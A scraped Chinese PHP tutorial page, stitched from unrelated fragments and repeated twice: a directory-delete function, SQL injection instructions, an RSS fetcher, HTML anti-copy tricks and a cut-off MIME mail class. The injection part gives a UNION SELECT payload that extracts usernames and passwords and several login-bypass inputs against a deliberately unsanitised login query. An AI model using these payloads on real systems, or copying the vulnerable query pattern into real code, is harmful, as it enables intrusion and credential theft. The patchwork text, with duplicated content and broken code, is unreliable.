删除目录及其下的文件还有问题吗?送大家一个写好的函数
更新时间:2016年11月25日 17:36 点击:1808
<?php
/**
* c_function::dir_delete()
* 删除目录
* @param $file 目录名(不带/)
* @return
*/
function dir_delete($file)
{
if(file_exists($file))
{
if(is_dir($file))
{
$handle =opendir($file);
while(false!==($filename=readdir($handle)))
{
if($filename!="."&&$filename!="..")$this->dir_delete($file."/".$filename);
}
closedir($handle);
rmdir($file);
return true;
}
else
{
unlink($file);
}
}
}
?>
我们构建注入语句吧
在输入框输入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入攻击方式
1) 首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆";
exit;
}
.........
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
'or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和密码都输入 or 1=1 and ' =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ' =
and Password= or 1=1 and ' =
用户名和密码都输入 or 2>1 and ' =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3.
用户名输入 or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything
后面部分被注释掉了,当然返回还是真哦。
4.
<?php
function my_headlines($url) {
$rdf = parse_url($url);
$fp = fsockopen($rdf['host'], 80, $errno, $errstr, 15);
if (!$fp) {
$content = "<font class="content">Problema!</font>";
return;
}
if ($fp) {
fputs($fp, "GET " . $rdf['path'] . "?" . $rdf['query'] . " HTTP/1.0 ");
fputs($fp, "HOST: " . $rdf['host'] . " ");
$string = "";
while(!feof($fp)) {
$pagetext = fgets($fp,300);
$string .= chop($pagetext);
}
fputs($fp,"Connection: close ");
fclose($fp);
$items = explode("</item>",$string);
$content = "<font class="content">";
for ($i=0;$i<10;$i++) {
$link = ereg_replace(".*<link>","",$items[$i]);
$link = ereg_replace("</link>.*","",$link);
$title2 = ereg_replace(".*<title>","",$items[$i]);
$title2 = ereg_replace("</title>.*","",$title2);
if ($items[$i] == "") {
$content = "";
return;
} else {
if (strcmp($link,$title)) {
$cont = 1;
$content .= "<img src="images/arrow.gif" border="0" hspace="5"><a href="$link" target="new">$title2</a><br> ";
}
}
}
}
echo "$content";
}
my_headlines
?>
收集的精典代码
1. oncontextmenu="window.event.return&#118alue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table
2. <body onselectstart="return false"> 取消选取、防止复制
3. onpaste="return false" 不准粘贴
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标
6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标
7. <input style="ime-mode:Disabled"> 关闭输入法
8. 永远都会带着框架
<script language="&#106avascript"><!--
if (window == top)top.location.href = "frames.htm"; file&#58//frames.htm为框架网页
// --></script>
9. 防止被人frame
<SCRIPT LANGUAGE=&#106avascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>
10. <noscript><iframe src=*.html></iframe></noscript> 网页将不能被另存为
11. <input type=button &#118alue=查看网页源代码
&#111nclick="window.location = 'view-source:'+ 'http://www.111cn.net/'">
12. 怎样通过asp的手段来检查来访者是否用了代理
<% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "<font color=#FF0000>您通过了代理服务器,"& _
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>
13. 取得控件的绝对位置
file&#58//&#106avascript
<script language="&#106avascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+" left="+l);
}
</script>
file&#58//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
php写的发送附件的程序(二)
<?php
class html_mime_mail{
var $headers;
var $body;
var $multipart;
var $mime;
var $html;
var $html_text;
var $html_images = array();
var $cids = array();
var $do_html;
var $parts = array();
/***************************************
** Constructor function. Sets the headers
** if supplied.
***************************************/
function html_mime_mail($headers = ''){
$this->headers = $headers;
}
/***************************************
** Adds a html part to the mail.
** Also replaces image names with
** content-id's.
***************************************/
function add_html($html, $text){
$this->do_html = 1;
$this->html = $html;
$this->html_text = $text;
if(is_array($this->html_images) AND count($this->html_images) > 0){
for($i=0; $i<count($this->html_images); $i++){
$this->html = ereg_replace($this->html_images[$i]['name'], 'cid:'.$this->html_images[$i]['cid'], $this->html);
}
}
}
/***************************************
** Builds html part of email.
***************************************/
function build_html($orig_boundary){
$sec_boundary = '=_'.md5(uniqid(time()));
$thr_boundary = '=_'.md5(uniqid(time()));
if(!is_array($this->html_images)){
$this->multipart.= '--'.$orig_boundary." ";
$this->multipart.= 'Content-Type: multipart/alternative; boundary="'.$sec_boundary."" ";
$this->multipart.= '--'.$sec_boundary." ";
$this->multipart.= 'Content-Type: text/plain'." ";
$this->multipart.= 'Content-Transfer-Encoding: 7bit'." ";
/**
* c_function::dir_delete()
* 删除目录
* @param $file 目录名(不带/)
* @return
*/
function dir_delete($file)
{
if(file_exists($file))
{
if(is_dir($file))
{
$handle =opendir($file);
while(false!==($filename=readdir($handle)))
{
if($filename!="."&&$filename!="..")$this->dir_delete($file."/".$filename);
}
closedir($handle);
rmdir($file);
return true;
}
else
{
unlink($file);
}
}
}
?>
我们构建注入语句吧
在输入框输入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
结果如图17哦
怎么样,出来了吧,哈哈,一切尽在掌握之中。
C:下面我们从注入地点上在来看一下各种注入攻击方式
1) 首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆";
exit;
}
.........
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
'or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和密码都输入 or 1=1 and ' =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ' =
and Password= or 1=1 and ' =
用户名和密码都输入 or 2>1 and ' =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3.
用户名输入 or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything
后面部分被注释掉了,当然返回还是真哦。
4.
<?php
function my_headlines($url) {
$rdf = parse_url($url);
$fp = fsockopen($rdf['host'], 80, $errno, $errstr, 15);
if (!$fp) {
$content = "<font class="content">Problema!</font>";
return;
}
if ($fp) {
fputs($fp, "GET " . $rdf['path'] . "?" . $rdf['query'] . " HTTP/1.0 ");
fputs($fp, "HOST: " . $rdf['host'] . " ");
$string = "";
while(!feof($fp)) {
$pagetext = fgets($fp,300);
$string .= chop($pagetext);
}
fputs($fp,"Connection: close ");
fclose($fp);
$items = explode("</item>",$string);
$content = "<font class="content">";
for ($i=0;$i<10;$i++) {
$link = ereg_replace(".*<link>","",$items[$i]);
$link = ereg_replace("</link>.*","",$link);
$title2 = ereg_replace(".*<title>","",$items[$i]);
$title2 = ereg_replace("</title>.*","",$title2);
if ($items[$i] == "") {
$content = "";
return;
} else {
if (strcmp($link,$title)) {
$cont = 1;
$content .= "<img src="images/arrow.gif" border="0" hspace="5"><a href="$link" target="new">$title2</a><br> ";
}
}
}
}
echo "$content";
}
my_headlines
?>
收集的精典代码
1. oncontextmenu="window.event.return&#118alue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table
2. <body onselectstart="return false"> 取消选取、防止复制
3. onpaste="return false" 不准粘贴
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标
6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标
7. <input style="ime-mode:Disabled"> 关闭输入法
8. 永远都会带着框架
<script language="&#106avascript"><!--
if (window == top)top.location.href = "frames.htm"; file&#58//frames.htm为框架网页
// --></script>
9. 防止被人frame
<SCRIPT LANGUAGE=&#106avascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>
10. <noscript><iframe src=*.html></iframe></noscript> 网页将不能被另存为
11. <input type=button &#118alue=查看网页源代码
&#111nclick="window.location = 'view-source:'+ 'http://www.111cn.net/'">
12. 怎样通过asp的手段来检查来访者是否用了代理
<% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "<font color=#FF0000>您通过了代理服务器,"& _
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>
13. 取得控件的绝对位置
file&#58//&#106avascript
<script language="&#106avascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+" left="+l);
}
</script>
file&#58//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
php写的发送附件的程序(二)
<?php
class html_mime_mail{
var $headers;
var $body;
var $multipart;
var $mime;
var $html;
var $html_text;
var $html_images = array();
var $cids = array();
var $do_html;
var $parts = array();
/***************************************
** Constructor function. Sets the headers
** if supplied.
***************************************/
function html_mime_mail($headers = ''){
$this->headers = $headers;
}
/***************************************
** Adds a html part to the mail.
** Also replaces image names with
** content-id's.
***************************************/
function add_html($html, $text){
$this->do_html = 1;
$this->html = $html;
$this->html_text = $text;
if(is_array($this->html_images) AND count($this->html_images) > 0){
for($i=0; $i<count($this->html_images); $i++){
$this->html = ereg_replace($this->html_images[$i]['name'], 'cid:'.$this->html_images[$i]['cid'], $this->html);
}
}
}
/***************************************
** Builds html part of email.
***************************************/
function build_html($orig_boundary){
$sec_boundary = '=_'.md5(uniqid(time()));
$thr_boundary = '=_'.md5(uniqid(time()));
if(!is_array($this->html_images)){
$this->multipart.= '--'.$orig_boundary." ";
$this->multipart.= 'Content-Type: multipart/alternative; boundary="'.$sec_boundary."" ";
$this->multipart.= '--'.$sec_boundary." ";
$this->multipart.= 'Content-Type: text/plain'." ";
$this->multipart.= 'Content-Transfer-Encoding: 7bit'." ";
相关文章
- 下面小编来给大家演示几个php操作zip文件的实例,我们可以读取zip包中指定文件与删除zip包中指定文件,下面来给大这介绍一下。 从zip压缩文件中提取文件 代...2016-11-25
- eval函数在php中是一个函数并不是系统组件函数,我们在php.ini中的disable_functions是无法禁止它的,因这他不是一个php_function哦。 eval()针对php安全来说具有很...2016-11-25
- 在php中eval是一个函数并且不能直接禁用了,但eval函数又相当的危险了经常会出现一些问题了,今天我们就一起来看看eval函数对数组的操作 例子, <?php $data="array...2016-11-25
Python astype(np.float)函数使用方法解析
这篇文章主要介绍了Python astype(np.float)函数使用方法解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-06-08Jupyter Notebook读取csv文件出现的问题及解决
这篇文章主要介绍了JupyterNotebook读取csv文件出现的问题及解决,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2023-01-06- 这篇文章主要介绍了Python中的imread()函数用法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-16
- 本文主要介绍了C# 中取绝对值的函数。具有很好的参考价值。下面跟着小编一起来看下吧...2020-06-25
- 下面小编就为大家带来一篇C#学习笔记- 随机函数Random()的用法详解。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
- 有时我们接受或下载到的PSD文件打开是空白的,那么我们要如何来解决这个 问题了,下面一聚教程小伙伴就为各位介绍Photoshop打开PSD文件空白解决办法。 1、如我们打开...2016-09-14
- C#使用System.IO中的文件操作方法在Windows系统中处理本地文件相当顺手,这里我们还总结了在Oracle中保存文件的方法,嗯,接下来就来看看整理的C#操作本地文件及保存文件到数据库的基本方法总结...2020-06-25
- 这篇文章主要介绍了解决python 使用openpyxl读写大文件的坑,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-13
- 这篇文章主要介绍了C#实现HTTP下载文件的方法,包括了HTTP通信的创建、本地文件的写入等,非常具有实用价值,需要的朋友可以参考下...2020-06-25
- 复制代码 代码如下: <td> <a href="/member/life/edit_ppt/<?php echo $v->id;?>" class="btn">编辑</a> <a href="javascript:;" onclick="if(confirm('您确定删除这条记录?')){location.href='/member/life/d...2014-06-07
- 这篇文章主要为大家详细介绍了SpringBoot实现excel文件生成和下载,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-02-09
php无刷新利用iframe实现页面无刷新上传文件(1/2)
利用form表单的target属性和iframe 一、上传文件的一个php教程方法。 该方法接受一个$file参数,该参数为从客户端获取的$_files变量,返回重新命名后的文件名,如果上传失...2016-11-25- CREATE FUNCTION ChangeBigSmall (@ChangeMoney money) RETURNS VarChar(100) AS BEGIN Declare @String1 char(20) Declare @String2 char...2016-11-25
- 这篇文章主要介绍了C#使用StreamWriter写入文件的方法,涉及C#中StreamWriter类操作文件的相关技巧,需要的朋友可以参考下...2020-06-25
- 这篇文章主要介绍了C++中Sort函数详细解析,sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变...2022-08-18
Android开发中findViewById()函数用法与简化
findViewById方法在android开发中是获取页面控件的值了,有没有发现我们一个页面控件多了会反复研究写findViewById呢,下面我们一起来看它的简化方法。 Android中Fin...2016-09-20- 要替换字符串中的内容我们只要利用php相关函数,如strstr,str_replace,正则表达式了,那么我们要替换目录所有文件的内容就需要先遍历目录再打开文件再利用上面讲的函数替...2016-11-25